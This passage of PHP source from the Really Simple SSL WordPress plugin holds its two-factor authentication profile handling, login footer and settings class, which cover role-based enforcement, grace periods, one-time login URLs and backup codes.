                        add_settings_error(
                            'two-factor-authentication',
                            'rsssl-two-factor-authentication-error',
                            $error['message'],
                            $error['type']
                        );
                    }
                }
            }
            $error = Rsssl_Parameter_Validation::get_cached_errors(get_current_user_id());
            add_action('show_user_profile', array($this, 'show_user_profile'));
            add_action('edit_user_profile', array($this, 'show_user_profile'));
            add_action('admin_enqueue_scripts', array($this, 'enqueue_scripts'));
            add_action('admin_enqueue_scripts', array($this, 'enqueue_styles'));
            add_action('personal_options_update', array($this, 'save_user_profile'));
            add_action('edit_user_profile_update', array($this, 'save_user_profile'));

            if (isset($_GET['profile'], $_GET['_wpnonce'])) {
                $profile = rest_sanitize_boolean(wp_unslash($_GET['profile']));
                if ($profile) {
                    Rsssl_Two_Factor_Email::set_user_status(get_current_user_id(), 'active');
                    Rsssl_Two_Factor_Totp::set_user_status(get_current_user_id(), 'disabled');
                }
            }
        }

        /**
         * Save the Two-Factor Authentication settings for the user.
         *
         * @param int $user_id The user ID.
         *
         * @return void
         */
        public function save_user_profile(int $user_id): void
        {
            // We check if the user owns the profile.
            if (!current_user_can('edit_user', $user_id)) {
                return;
            }

            if (isset($_POST['rsssl_two_fa_nonce']) && !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['rsssl_two_fa_nonce'])), 'update_user_two_fa_settings')) {
                return;
            }

            if (isset($_POST['change_2fa_config_field'])) {
                // We sanitize the input needs to be a boolean.
                $reset_input = filter_var($_POST['change_2fa_config_field'], FILTER_VALIDATE_BOOLEAN);
                $this->maybe_the_user_resets_config($user_id, $reset_input);
                return;
            }

            $params = new Rsssl_Parameter_Validation();
            $params::validate_user_id($user_id);
            $user = get_user_by('ID', $user_id);
            $params::validate_user($user);

            if (!isset($_POST['two-factor-authentication'])) {
                // reset the user's 2fa settings.
                // Delete all 2fa related user meta.
                Rsssl_Two_Fa_Status::delete_two_fa_meta($user);
                // Set the rsssl_two_fa_last_login to now, so the user will be forced to use 2fa.
                update_user_meta($user->ID, 'rsssl_two_fa_last_login', gmdate('Y-m-d H:i:s'));
                // also make sure no lingering errpr messages are shown.
                Rsssl_Parameter_Validation::delete_cached_errors($user_id);
                return;
            }

            if (!isset($_POST['preferred_method'])) {
                return;
            }

            // now we check witch provider is selected from the $_POST.
            $params::validate_selected_provider($this->sanitize_method(sanitize_text_field(wp_unslash($_POST['preferred_method']))));
            $selected_provider = $this->sanitize_method(sanitize_text_field(wp_unslash($_POST['preferred_method'])));

            // if the selected provider is not then return.
            if (!$selected_provider) {
                return;
            }

            switch ($selected_provider) {
                case 'totp':
                    $current_status = Rsssl_Two_Factor_Settings::get_user_status('totp', $user_id);
                    if ('active' === $current_status) {
                        return;
                    }
                    if ((empty($_POST['two-factor-totp-authcode'])) || !isset($_POST['two-factor-totp-key'])) {
                        add_settings_error(
                            'two-factor-authentication',
                            'rsssl-two-factor-authentication-error',
                            __('Two-Factor Authentication for TOTP failed. No Authentication code provided, please try again.', 'really-simple-ssl'),
                            'error'
                        );
                        $params::cache_errors($user_id);
                        return;
                    }

                    $params::validate_auth_code(absint(wp_unslash($_POST['two-factor-totp-authcode'])));
                    $params::validate_key(sanitize_text_field(wp_unslash($_POST['two-factor-totp-key'])));
                    $auth_code = sanitize_text_field(wp_unslash($_POST['two-factor-totp-authcode']));
                    $key = sanitize_text_field(wp_unslash($_POST['two-factor-totp-key']));
                    if (Rsssl_Two_Factor_Totp::setup_totp($user, $key, $auth_code)) {
                        Rsssl_Two_Factor_Totp::set_user_status($user_id, 'active');
                        // We disable the email.
                        Rsssl_Two_Factor_Email::set_user_status($user_id, 'disabled');
                        // We generate the backup codes.
                        Rsssl_Two_Factor_Backup_Codes::generate_codes(
                            $user,
                            array(
                                'cached' => true,
                            )
                        );
                    } else {
                        add_settings_error(
                            'two-factor-authentication',
                            'rsssl-two-factor-authentication-error',
                            __('The Two-Factor Authentication setup for TOTP failed. Please try again.', 'really-simple-ssl'),
                            'error'
                        );
                    }
                    // We cache the errors.
                    $params::cache_errors($user_id);
                    break;
                case 'email':
                    $current_status = Rsssl_Two_Factor_Settings::get_user_status('email', $user_id);
                    if ('active' === $current_status) {
                        return;
                    }
                    $user = get_user_by('ID', $user_id);
                    // fetch current status of the user for the email method.
                    $status = Rsssl_Two_Factor_Settings::get_user_status('email', $user->ID);
                    if ('active' === $status) {
                        return;
                    }
                    if (Rsssl_Two_Factor_Email::get_instance()->validate_authentication($user)) {
                        // We set the user status to active.
                        Rsssl_Two_Factor_Email::set_user_status($user_id, 'active');
                        // We disable the TOTP.
                        Rsssl_Two_Factor_Totp::set_user_status($user_id, 'disabled');
                    } else {
                        add_settings_error(
                            'two-factor-authentication',
                            'rsssl-two-factor-authentication-error',
                            __('The Two-Factor Authentication setup for email failed. Please try again.', 'really-simple-ssl'),
                            'error'
                        );
                    }
                    break;
                case 'none':
                    // We disable the Two-Factor Authentication.
                    Rsssl_Two_Fa_Status::delete_two_fa_meta($user);
                    break;
                default:
                    break;
            }

            $params::cache_errors($user_id);
        }

        /**
         * Sanitize the input method.
         *
         * @param string $method The input method.
         *
         * @return string The sanitized input method. Defaults to 'email' if not found in the allowed methods.
         */
        private function sanitize_method(string $method): string
        {
            $methods = array('totp', 'email', 'none');

            return in_array($method, $methods, true) ? sanitize_text_field($method) : 'email';
        }

        /**
         * Display the user profile with Two-Factor Authentication settings.
         *
         * @param WP_User $user The user object.
         *
         * @return void
         * @throws Exception Throws an exception if the template file is not found.
         */
        public function show_user_profile(WP_User $user): void
        {
	        if ($user->ID !== get_current_user_id()) {
		        return;
	        }
            settings_errors('two-factor-authentication');
            settings_errors('rsssl-two-factor-authentication-error');
            Rsssl_Two_Factor_Totp::enqueue_qrcode_script();

            $available_providers = $this->available_providers;
            $forced = !empty(array_intersect($user->roles, $this->forced_two_fa));
            $one_enabled = 'onboarding' !== Rsssl_Two_Factor_Settings::get_login_action($user->ID);
            $providers = Rsssl_Provider_Loader::get_user_enabled_providers($user);
            $selected_provider = '';
            if ($one_enabled) {
                $selected_provider = Rsssl_Two_Factor_Settings::get_configured_provider($user->ID);
            }

            $backup_codes = Rsssl_Two_Factor_Settings::get_backup_codes($user->ID);
            $key = Rsssl_Two_Factor_Totp::generate_key();
            $totp_url = Rsssl_Two_Factor_Totp::generate_qr_code_url($user, $key);

            wp_nonce_field('update_user_two_fa_settings', 'rsssl_two_fa_nonce');

            $data = array(
                'key' => $key,
                'totp_url' => $totp_url,
                'backup_codes' => $backup_codes,
                'selected_provider' => $selected_provider,
                'one_enabled' => $one_enabled,
                'forced' => $forced,
                'available_providers' => $available_providers,
                'user' => $user,
            );

            $data_js = 'rsssl_profile.totp_data = ' . json_encode($data) . ';';

            wp_add_inline_script('rsssl-profile-settings', $data_js, 'after');

            // We load the needed template for the Two-Factor Authentication settings.
            rsssl_load_template(
                'profile-settings.php',
                compact(
                    'user',
                    'available_providers',
                    'providers',
                    'forced',
                    'one_enabled',
                    'selected_provider',
                    'backup_codes',
                    'totp_url',
                    'key'
                ),
                rsssl_path . 'assets/templates/two_fa/'
            );
        }

        /**
         * Validates if the Two-Factor Authentication is turned on for the user.
         *
         * @param WP_User $user The user object.
         *
         * @return bool Returns true if Two-Factor Authentication is turned on for the user, false otherwise.
         */
        private function validate_two_turned_on_for_user(WP_User $user): bool
        {
            // Get the setting for the system to check if it is turned on.
            $enabled_two_fa = rsssl_get_option('login_protection_enabled');
            $providers = Rsssl_Provider_Loader::get_enabled_providers_for_user($user);
            $option = rsssl_get_option('two_fa_forced_roles');
            $this->forced_two_fa = $option !== false ? $option : array();
            $this->available_providers = $providers;

            return $enabled_two_fa && !empty($providers);
        }

        /**
         * Enqueues the RSSSL profile settings script.
         *
         * @return void
         */
        public function enqueue_scripts(): void
        {
            $uri = trailingslashit(rsssl_url) . 'assets/two-fa/rtl/two-fa-assets.min.js';
            $backup_codes = Rsssl_Two_Factor_Settings::get_backup_codes(get_current_user_id());
            // We check if the backup codes are available.
            wp_enqueue_script('rsssl-profile-settings', $uri, array(), rsssl_version, true);
            wp_localize_script('rsssl-profile-settings', 'rsssl_profile', array(
                'backup_codes' => $backup_codes,
                'root' => esc_url_raw(rest_url(Rsssl_Two_Factor_On_Board_Api::NAMESPACE)),
                'user_id' => get_current_user_id(),
                'redirect_to' => 'profile', //added this for comparison in the json output.
                'translatables' => [
                    'download_codes' => esc_html__('Download Backup Codes', 'really-simple-ssl'),
                    'keyCopied' => __('Key copied', 'really-simple-ssl'),
                    'keyCopiedFailed' => __('Could not copy text: ', 'really-simple-ssl')
                ]
            ));
        }

        /**
         * Enqueues the RSSSL profile settings stylesheet.
         *
         * @return void
         */
        public function enqueue_styles(): void
        {
            $uri = trailingslashit(rsssl_url) . 'assets/two-fa/rtl/two-fa-assets.min.css';
            wp_enqueue_style('rsssl-profile-settings', $uri, array(), rsssl_version);
        }

        /**
         * Checks if the user resets the configuration and actually reset everything.
         *
         * @param int $user_id The ID of the user.
         * @param $reset_input
         *
         * @return bool
         */
        private function maybe_the_user_resets_config(int $user_id, $reset_input): bool
        {
            $user = get_user_by('ID', $user_id);
            // If the reset is true, we do the reset.
            if ($reset_input && $user) {
                // We reset the user's Two-Factor Authentication settings.
                Rsssl_Two_Fa_Status::delete_two_fa_meta($user);
            }

            return $reset_input;
        }
    }
}
really-simple-ssl/security/wordpress/two-fa/function-login-footer.php000064400000003560147510273070022170 0ustar00<?php
/**
 * Extracted from wp-login.php since that file also loads WP core which already have.
 *
 * @package REALLY_SIMPLE_SSL
 */

/**
 * Outputs the footer for the login page.
 *
 * @param string $input_id Which input to auto-focus.
 *
 * @global bool|string $interim_login Whether interim login modal is being displayed. String 'success'
 *                                    upon successful login.
 *
 * @since 3.1.0
 */
function login_footer( string $input_id = '' ) {
	global $interim_login;

	// Don't allow interim logins to navigate away from the page.
	if ( ! $interim_login ) {
		?>
		<p id="backtoblog">
			<?php
			$html_link = sprintf(
				'<a href="%s">%s</a>',
				esc_url( home_url( '/' ) ),
				sprintf(
				/* translators: %s: Site title. */
					_x( '&larr; Go to %s', 'site' ),
					get_bloginfo( 'title', 'display' )
				)
			);
			/**
			 * Filter the "Go to site" link displayed in the login page footer.
			 *
			 * @since 5.7.0
			 *
			 * @param string $link HTML link to the home URL of the current site.
			 */
			echo esc_url( apply_filters( 'login_site_html_link', $html_link ) );
			?>
		</p>
		<?php

		the_privacy_policy_link( '<div class="privacy-policy-page-link">', '</div>' );
	}

	?>
	</div><?php // End of <div id="login">. ?>

	<?php

	if ( ! empty( $input_id ) ) {
		?>
		<script type="text/javascript">
			try{document.getElementById('<?php echo esc_html( $input_id ); ?>').focus();}catch(e){}
			if(typeof wpOnload==='function')wpOnload();
		</script>
		<?php
	}

	/**
	 * Fires in the login page footer.
	 *
	 * @since 3.1.0
	 */
	do_action( 'login_footer' );

	?>
	<div class="clear"></div>
	</body>
	</html>
	<?php
}

/**
 * Outputs the JavaScript to handle the form shaking on the login page.
 *
 * @since 3.0.0
 */
function wp_shake_js() {
	?>
	<script type="text/javascript">
		document.querySelector('form').classList.add('shake');
	</script>
	<?php
}really-simple-ssl/security/wordpress/two-fa/class-rsssl-two-factor-settings.php000064400000055537147510273070024146 0ustar00<?php
/**
 * Holds the request parameters for a specific action.
 * This class holds the request parameters for a specific action.
 * It is used to store the parameters and pass them to the functions.
 *
 * @package REALLY_SIMPLE_SSL
 */

namespace RSSSL\Security\WordPress\Two_Fa;

use WP_User;

/**
 * Class Rsssl_Two_Factor_Settings
 *
 * This class handles the settings for the Two-Factor Authentication plugin.
 */
class Rsssl_Two_Factor_Settings {
	/**
	 * The class instance.
	 *
	 * @var Rsssl_Two_Factor_Settings
	 */
	private static $instance;

	/**
	 * The forced roles for 2FA.
	 *
	 * @var array $forced_roles
	 */
	public static $forced_roles;

	/**
	 * The enabled roles for TOTP.
	 *
	 * @var $enabled_roles_totp
	 */
	public static $enabled_roles_totp;

	/**
	 * The forced roles for TOTP dynamically generated by logic.
	 *
	 * @var $forced_roles_totp
	 */
	public static $forced_roles_totp; // @codingStandardsIgnoreLine It is dynamically generated by logic.

	/**
	 * The enabled roles for Email dynamically generated by logic.
	 *
	 * @var $enabled_roles_totp
	 */
	public static $forced_roles_email; // @codingStandardsIgnoreLine It is dynamically generated by logic.

	/**
	 * The enabled roles for Email.
	 *
	 * @var array $enabled_roles_email
	 */
	public static $enabled_roles_email;

	/**
	 * If the previous roles variables are loaded or not.
	 *
	 * @var bool $roles_loaded
	 */
	private static $roles_loaded = false;

	/**
	 * The user meta enabled providers key.
	 *
	 * @type string
	 */
	const RSSSL_ENABLED_PROVIDERS_USER_META_KEY = 'rsssl_two_fa_providers';

	/**
	 * Class constructor.
	 *
	 * Checks if the class instance has already been initialized. If so, returns
	 * immediately. Otherwise, assigns the class instance to the static variable
	 * "self::$instance".
	 */
	public function __construct() {
		if ( isset( self::$instance ) ) {
			return;
		}

		self::$instance = $this;
	}


	/**
	 * Get user roles for a user, cross multisite.
	 *
	 * @param int $user_id //the user id to get the roles for.
	 *
	 * @return array
	 */
	public static function get_user_roles( int $user_id ): array {
		if ( is_multisite() ) {
            return array_values(self::get_strictest_role_across_sites($user_id, ['totp', 'email']));
		}

		$user  = get_userdata( $user_id );
		$roles = $user->roles;
		if ( ! is_array( $roles ) ) {
			$roles = array();
		}
		return $roles;
	}

	/**
	 * Generate a one-time login URL for a user.
	 *
	 * @param int  $user_id //the user ID.
	 * @param bool $disable_two_fa //whether to disable two-factor authentication.
	 *
	 * @return string //the generated URL.
	 */
	public static function rsssl_one_time_login_url( int $user_id, bool $disable_two_fa = false, $profile = false ): string {

		$token = bin2hex( openssl_random_pseudo_bytes( 16 ) ); // 16 bytes * 8 bits/byte = 128 bits.
		set_transient( 'skip_two_fa_token_' . $user_id, $token, 2 * MINUTE_IN_SECONDS );

		$obfuscated_user_id = self::obfuscate_user_id( $user_id );

		$nonce = wp_create_nonce( 'one_time_login_' . $user_id );
        if(!$profile) {
            $args = array(
                'rsssl_one_time_login' => $obfuscated_user_id,
                'token'                => $token,
                '_wpnonce'             => $nonce,
            );
        } else {
            $args = array(
                '_wpnonce'             => $nonce,
                'profile'              => $profile,
            );
        }


		if ( $disable_two_fa ) {
			$args['rsssl_two_fa_disable'] = true;
		}

		// Return the URL with the added query arguments.
		return add_query_arg( $args, $profile? get_edit_profile_url( $user_id ):admin_url() );
	}


	/**
	 * Get the {method}_role_status. The role with the most weighing status will be returned. empty, optional or forded. Where forced is the most weighing.
	 *
	 * @param string $method //the method to check.
	 * @param int    $user_id //the user id to get the roles for.
	 *
	 * @return string
	 */
	public static function get_role_status( string $method, int $user_id ): string {
        if (is_multisite()) {
            $roles = self::get_strictest_role_across_sites($user_id, [$method]);
            $roles = array_values($roles); // Flatten the array to get the strictest role
        } else {
            $roles = self::get_user_roles($user_id);
        }

		$provider = 'email' === $method ? '_email' : '_' . self::sanitize_method( $method );

		// Check if the method is enabled.
		$enabled = rsssl_get_option( "two_fa_enabled_roles$provider" );

		$forced  = false;

		if ( ! $enabled ) {
			$return = 'empty';
		}

		// if the role is forced, return forced.
		if ( self::contains_role_of_type( $method, $roles, 'forced' ) ) {
			$return = 'forced';
			$forced = true;
		}
		// if the role is enabled, return optional.
		if ( self::contains_role_of_type( $method, $roles, 'enabled' ) && ! $forced ) {
			$return = 'optional';
		}

		if ( empty( $return ) ) {
			$return = 'empty';
		}

		return $return;
	}

	/**
	 * Get required 2fa action for a user.
	 *
	 * @param int|null $user_id //the user id to get the roles for.
	 * @return string //email, totp, onboarding or login
	 */
	public static function get_login_action( int $user_id = null ): string {
		if ( null === $user_id ) {
			$user_id = get_current_user_id();
		}

		$user = get_userdata( $user_id );

		$totp = Rsssl_Two_Factor_Totp::get_instance();

		if ( $totp::is_enabled( $user ) ) {
			// first, check TOTP.
			$user_status = self::get_user_status( 'totp', $user_id );
			$role_status = self::get_role_status( 'totp', $user_id );

			// if it's active, it's simple: the user should enter the code.
			if ( 'active' === $user_status ) {
				// Check the role status, in case the admin has disabled this for this role.
				if ( 'forced' === $role_status || 'optional' === $role_status ) {
					return 'totp';
				}
			}
			if ( 'open' === $user_status ) {
				// if the status is open, the user should get onboarding if the role status either forced or optional.
				if ( 'forced' === $role_status || 'optional' === $role_status ) {
					// The role is forced. So check if the grace period is over.
					$grace_period = self::is_user_in_grace_period( $user );

					if ( $grace_period > 0 &&  'forced' === $role_status ) {
						return 'onboarding';
					}

                    if ('optional' === $role_status) {
                        return 'onboarding';
                    }

                    return 'expired';
				}
				// if empty, nothing is currently activated for this role, so check if there's an email method enabled.
				return self::get_email_method_action( $user_id );
			}

			// Check if the role_status is not 'forced' currently. If so, show onboarding TODO: test this code below.
			$role_status = self::get_role_status( 'totp', $user_id );
			if ( 'forced' === $role_status && 'disabled' !== $user_status ) {
				return 'onboarding';
			}
		}

		return self::get_email_method_action( $user_id );
	}

	/**
	 * Get required action for the email 2fa method.
	 *
	 * @param int $user_id //the user id to get the roles for.
	 *
	 * @return string //email, onboarding or login
	 */
	public static function get_email_method_action( int $user_id ): string {
		$email = Rsssl_Two_Factor_Email::get_instance();
        $grace_period = self::is_user_in_grace_period( get_userdata( $user_id ) );
		$return = 'login';

		if ( $email::is_enabled( get_userdata( $user_id ) ) ) {

			$user_status = self::get_user_status( 'email', $user_id );
			$role_status = self::get_role_status( 'email', $user_id );

			if ( 'active' === $user_status ) {
				// Also check the role status, in case the admin has disabled this for this role.
				if ( 'forced' === $role_status || 'optional' === $role_status ) {
					$return = 'email';
				}
			}

			if ( 'open' === $user_status ) {
				// if the role status is forced or optional, we show onboarding.
				if ( 'forced' === $role_status || 'optional' === $role_status ) {

                    // The role is forced. So check if the grace period is over.
                    if ( $grace_period > 0 &&  'forced' === $role_status ) {
                        return 'onboarding';
                    }

                    if ('optional' === $role_status) {
                        return 'onboarding';
                    }

                    return 'expired';
				}
			}
		}

		// if we're here, the email method is not enabled, so we show login.
		return $return;
	}

	/**
	 * Validate if the role status and user status are valid.
	 *
	 * @param string $role_status // The role status to check.
	 * @param string $user_status // The user status to check.
	 *
	 * @return bool // Returns true if the role status and user status are valid, otherwise false.
	 */
	public static function is_role_and_user_status_valid( string $role_status, string $user_status ): bool {
		return ( 'forced' === $role_status || 'optional' === $role_status ) && ( 'active' === $user_status || 'open' === $user_status );
	}

	/**
	 * Get the status for a user, based on the method.
	 *
	 * @param string $method //the method to check.
	 * @param int    $user_id //the user id to get the roles for.
	 *
	 * @return string //open, active or disabled
	 */
	public static function get_user_status( string $method, int $user_id ): string {
		$method = 'email' === $method ? '_email' : '_' . self::sanitize_method( $method );

		// first check if a user meta rsssl_two_fa_status is set.
		$status = get_user_meta( $user_id, "rsssl_two_fa_status$method", true );

		return self::sanitize_status( $status );
	}

	/**
	 * Get the roles for a user, based on the method and type.
	 *
	 * @param string $method //the method to check.
	 * @param string $type //the type to check.
	 *
	 * @return array
	 */
	private static function get_dynamic_roles_variable( string $method, string $type ): array {
		// store these roles, as this function can be used in large loops.
		if ( ! self::$roles_loaded ) {
			// if the option is a boolean we convert it to an array.
			self::$enabled_roles_totp  = rsssl_get_option( 'two_fa_enabled_roles_totp', [] );
			self::$enabled_roles_email = rsssl_get_option( 'two_fa_enabled_roles_email', [] );
			self::$forced_roles        = rsssl_get_option( 'two_fa_forced_roles', [] );
			self::$roles_loaded        = true;
		}

		$method = 'email' === $method ? '_email' : '_' . self::sanitize_method( $method );
		$type   = 'enabled' === $type ? 'enabled' : 'forced';

		$name           = $type . '_roles' . $method;
		$roles_to_check = 'enabled_roles' . $method;

		// if the type is forced, use the forced roles.
		if ( 'forced' === $type ) {
			// Intersect the roles with the enabled roles.
			self::$$name = array_intersect( self::$forced_roles, self::$$roles_to_check );
			if ( property_exists( self::class, $name ) ) {
				$roles = self::$$name;
				if ( ! is_array( $roles ) ) {
					$roles = array();
				}
				return $roles;
			}
		}

		// if the type is enabled, use the enabled roles.
		if ( 'enabled' === $type ) {
			self::$$name = array_merge( self::$$roles_to_check );
			if ( property_exists( self::class, $name ) ) {
				$roles = self::$$name;
				if ( ! is_array( $roles ) ) {
					$roles = array();
				}
				return $roles;
			}
		}

		return array();
	}

	/**
	 * Check if the array of roles contains a role of type $type, forced or optional.
	 *
	 * @param string $method //the method to check.
	 * @param array  $roles //the roles to check.
	 * @param string $type //the type to check.
	 *
	 * @return bool
	 */
	public static function contains_role_of_type( string $method, array $roles, string $type ): bool {
		$roles_to_check = self::get_dynamic_roles_variable( $method, $type );
		foreach ( $roles as $role ) {
			if ( in_array( $role, $roles_to_check, true ) ) {
				return true;
			}
		}
		return false;
	}

	/**
	 * Check if a role is of a certain type, optional or forced
	 *
	 * @param string $method //the method to check.
	 * @param string $role //the role to check.
	 * @param string $type //the type to check.
	 *
	 * @return bool
	 */
	public static function role_is_of_type( string $method, string $role, string $type ): bool {
		return self::contains_role_of_type( $method, array( $role ), $type );
	}


	/**
	 * Get the user meta enabled providers key.
	 *
	 * @param string $status //the status to filter by.
	 *
	 * @return string //the user meta key.
	 */
	protected static function sanitize_status( string $status ): string {
		return in_array( $status, array( 'open', 'active', 'disabled' ), true ) ? $status : 'open';
	}

	/**
	 * Get the user meta enabled providers key.
	 *
	 * @param string $method //the method to sanitize.
	 *
	 * @return string
	 */
	public static function sanitize_method( string $method ): string {
		return in_array( $method, array( 'email', 'totp' ), true ) ? $method : 'email';
	}

	/**
	 * Check if a user is forced to use 2FA based on their roles.
	 *
	 * @param  int $user_id  // the ID of the user to check.
	 *
	 * @return bool // true if the user is forced to use 2FA, false otherwise.
	 */
	public static function is_user_forced_to_use_2fa( int $user_id ): bool {
		$roles        = self::get_user_roles( $user_id );
		$forced_roles = rsssl_get_option( 'two_fa_forced_roles', [] );
		foreach ( $roles as $role ) {
			if ( in_array( $role, $forced_roles, true ) ) {
				return true;
			}
		}
		return false;
	}

	/**
	 * Check if a user is in the grace period for two-factor authentication.
	 *
	 * @param  WP_User $user  The user to check.
	 *
	 * @return int|false The number of days remaining in the grace period, or false if the user is not in the grace period.
	 */
	public static function is_user_in_grace_period( WP_User $user ) {

		$grace_period = rsssl_get_option( 'two_fa_grace_period');

		// if the grace period is not set, return false.
		if ( ! self::is_user_forced_to_use_2fa( $user->ID ) ) {
			return false;
		}

		$last_login = get_user_meta( $user->ID, 'rsssl_two_fa_last_login', true );


		if ( $last_login ) {
			$last_login = strtotime( $last_login );
			$now        = time();
			$diff       = $now - $last_login;
			$days       = floor( $diff / ( 60 * 60 * 24 ) );

			if ( $days < $grace_period ) {
				$end_date = gmdate( 'Y-m-d', $last_login );
				// We add the grace period to the last login date.
				$end_date = date( 'Y-m-d', strtotime( $end_date . ' + ' . $grace_period . ' days' ) );
				$today = gmdate('Y-m-d', $now);
				// If the end date is today, return 1.
				if ($end_date === $today) {
					return 1;
				}

				return $grace_period - $days;
			}
			// it is now equal or greater, so return false.
			return false;
		}
		// if the last login is not set, return the grace period. but also set the user meta.
		update_user_meta( $user->ID, 'rsssl_two_fa_last_login', gmdate( 'Y-m-d H:i:s' ) );

		return $grace_period;
	}

	/**
	 * Get the enabled roles for a user.
	 *
	 * @param  int $user_id  // The ID of the user.
	 *
	 * @return array // The array of enabled roles for the user.
	 */
 	public static function get_enabled_roles( int $user_id ): array {
		$roles         = self::get_user_roles( $user_id );
        if(defined('rsssl_pro') && rsssl_pro ) {
            $totp          = rsssl_get_option( 'two_fa_enabled_roles_totp', [] );
        } else {
            $totp          = [];
        }

		$email         = rsssl_get_option( 'two_fa_enabled_roles_email', [] );
		$enabled_roles = array_merge( $totp, $email );
		return array_intersect( $roles, $enabled_roles );
	}

	/**
	 * Get the enabled roles for a user.
	 * This function is used to get the roles that are enabled for a user.
	 *
	 * @param int $user_id //the user ID to obfuscate.
	 *
	 * @return string
	 */
	public static function obfuscate_user_id( int $user_id ): string {
		// Convert the user ID to a string with some noise.
		$obfuscated = 'user-' . $user_id . '-id';
		// Encode the string using base64.
		return base64_encode( $obfuscated );
	}

	/**
	 * Deobfuscate the user ID for use in URL.
	 *
	 * @param string $data //the data to deobfuscate.
	 *
	 * @return string|null
	 */
	public static function deobfuscate_user_id( string $data ): ?string {
		// Decode from base64.
		$decoded = base64_decode( $data );
		// Remove the noise to get the user ID.
		if ( preg_match( '/user-(\d+)-id/', $decoded, $matches ) ) {
			return $matches[1];
		}

		return null;
	}

	/**
	 * Based on the roles enabled return the method for the current user.
	 * If both methods are enabled, return the string not set.
	 * If only one method is enabled, return that method as a string.
	 * If no method is enabled, return the string None.
	 *
	 * @param int $user_id //the user ID to get the roles for.
	 *
	 * @return string
	 */
	public static function get_enabled_method( int $user_id ): string {
		$user_id       = absint( $user_id ); // make sure an integer and not a float, negative value.
		$enabled_roles = self::get_enabled_roles( $user_id ) ?? array();
		$enabled_totp  = rsssl_get_option( 'two_fa_enabled_roles_totp', [] );
		$enabled_email = rsssl_get_option( 'two_fa_enabled_roles_email', [] );

		$totp  = array_intersect( $enabled_roles, $enabled_totp );
		$email = array_intersect( $enabled_roles, $enabled_email );

		if ( ! empty( $totp ) && ! empty( $email ) ) {
			$enabled_method = __( 'not set', 'really-simple-ssl' );
		}

		if ( ! empty( $totp ) ) {
			$enabled_method = __( 'Authenticator App', 'really-simple-ssl' );
		}

		if ( ! empty( $email ) ) {
			$enabled_method = __( 'Email', 'really-simple-ssl' );
		}

		if ( ! isset( $enabled_method ) ) {
			$enabled_method = __( 'None', 'really-simple-ssl' );
		}

		return $enabled_method;
	}

	/**
	 * Get the configured provider for a user based on their ID.
	 *
	 * @param int $user_id The ID of the user.
	 *
	 * @return string The configured provider.
	 */
	public static function get_configured_provider( int $user_id ): string {
		// With 2 providers, TOTP and Email we check both options and get the one that is not disabled.
		$totp_meta  = get_user_meta( $user_id, 'rsssl_two_fa_status_totp', true );
		$email_meta = get_user_meta( $user_id, 'rsssl_two_fa_status_email', true );
		$provider   = __( 'None', 'really-simple-ssl' );
		// if the status is active, return the method.
		if ( 'active' === $totp_meta ) {
			$provider = Rsssl_Two_Factor_Totp::NAME;
		}
		if ( 'active' === $email_meta ) {
			$provider = Rsssl_Two_Factor_Email::NAME;
		}
		return $provider;
	}

	/**
	 * Get the backup codes for a user.
	 *
	 * @param int $user_id // The user ID.
	 *
	 * @return array // An array of backup codes.
	 */
	public static function get_backup_codes( int $user_id ): array {
		$codes = get_transient( 'rsssl_two_factor_backup_codes_' . $user_id );
		if ( ! is_array( $codes ) ) {
			$codes = array();
		}
		return $codes;
	}

	/**
	 * Check if the last login date for a user is today.
	 *
	 * @param WP_User $user //the user.
	 *
	 * @return bool //true if last login date is today, false otherwise.
	 */
	public static function is_today( WP_User $user ): bool {
		return (1 === (int) self::is_user_in_grace_period( $user  ));
	}


    /**
     * Ensure that the default roles are first in the array
     *
     * @param array $roles
     *
     * @return array
     */
    protected static function sort_roles_by_default_first( array $roles ): array {
        $default_roles = array( 'administrator', 'editor', 'author', 'contributor', 'subscriber' );
        $sorted_roles  = array();
        foreach ( $default_roles as $default_role ) {
            if ( in_array( $default_role, $roles, true ) ) {
                $sorted_roles[] = $default_role;
            }
        }
        foreach ( $roles as $role ) {
            if ( ! in_array( $role, $sorted_roles, true ) ) {
                $sorted_roles[] = $role;
            }
        }
        return $sorted_roles;
    }

    /**
     * Get the strictest role across all sites for a given user
     *
     * @param int $user_id //the ID of the user.
     *
     * @return array|null //returns the strictest role or null if no roles found.
     */
    public static function get_strictest_role_across_sites(int $user_id, $methods ): ?array
    {
        $sites = get_sites();
        $all_roles = [];

        foreach ($sites as $site) {
            switch_to_blog($site->blog_id);
            $user = get_userdata($user_id);
            if ($user) {
                foreach($user->roles as $role){
                    $all_roles[] = $role;
                }
            }

            restore_current_blog();
        }
        $all_roles = array_unique($all_roles);

        return self::get_strictest_role($methods, $all_roles);
    }

    /**
     * Get the strictest role from a list of roles
     *
     * @param array $methods
     * @param array $roles // The list of roles
     *
     * @return array // The strictest role
     */
    protected static function get_strictest_role(array $methods, array $roles): array
    {
        $result = [];
        if (is_multisite()) {
            $roles = self::sort_roles_by_default_first($roles);
            $forced_roles = rsssl_get_option('two_fa_forced_roles', []);
            // if there are forced roles, prioritize them by removing all other roles
            if (!empty($forced_roles) && array_intersect($roles, $forced_roles)) {
                $roles = array_intersect($roles, $forced_roles);
            }
        }

        foreach ($methods as $method) {
            // First, prioritize forced roles using the default-first sorting method
            if (self::contains_role_of_type($method, $roles, 'forced')) {
                foreach ($roles as $role) {
                    if (self::role_is_of_type($method, $role, 'forced')) {
                        // If forced role is found, assign it to the method and continue to the next method
                        $result[$method] = $role;
                        continue 2;
                    }
                }
            }

            // If no forced role, check for optional roles
            if (self::contains_role_of_type($method, $roles, 'enabled')) {
                foreach ($roles as $role) {
                    if (self::role_is_of_type($method, $role, 'enabled')) {
                        // If optional role is found, assign it to the method and continue to the next method
                        $result[$method] = $role;
                        continue 2;
                    }
                }
            }

            // If no role was found, assign an empty string
            $result[$method] = '';
        }
        //remove empty values
        return array_values(array_unique(array_filter($result)));
    }

    /**
     * Get the user status per method
     *
     * @param int $user_id // The ID of the user.
     *
     * @return array // The user status per method
     */
    public static function get_user_status_per_method(int $user_id): array
    {
        $methods = self::get_available_methods();
        $result = [];
        foreach ($methods as $method) {
            $result[$method] = self::get_user_status($method, $user_id);
        }
        return $result;
    }

    private static function get_available_methods(): array
    {
        if(defined('rsssl_pro') && !rsssl_pro ) {
            return ['totp', 'email'];
        }
        return ['email'];
    }
}

new Rsssl_Two_Factor_Settings();
really-simple-ssl/security/wordpress/two-fa/class-rsssl-two-factor-email.php000064400000042760147510273070023367 0ustar00<?php
/**
 * Class for creating an email provider.
 *
 * @package Two_Factor
 */

namespace RSSSL\Security\WordPress\Two_Fa;

/**
 * Class for creating an email provider.
 *
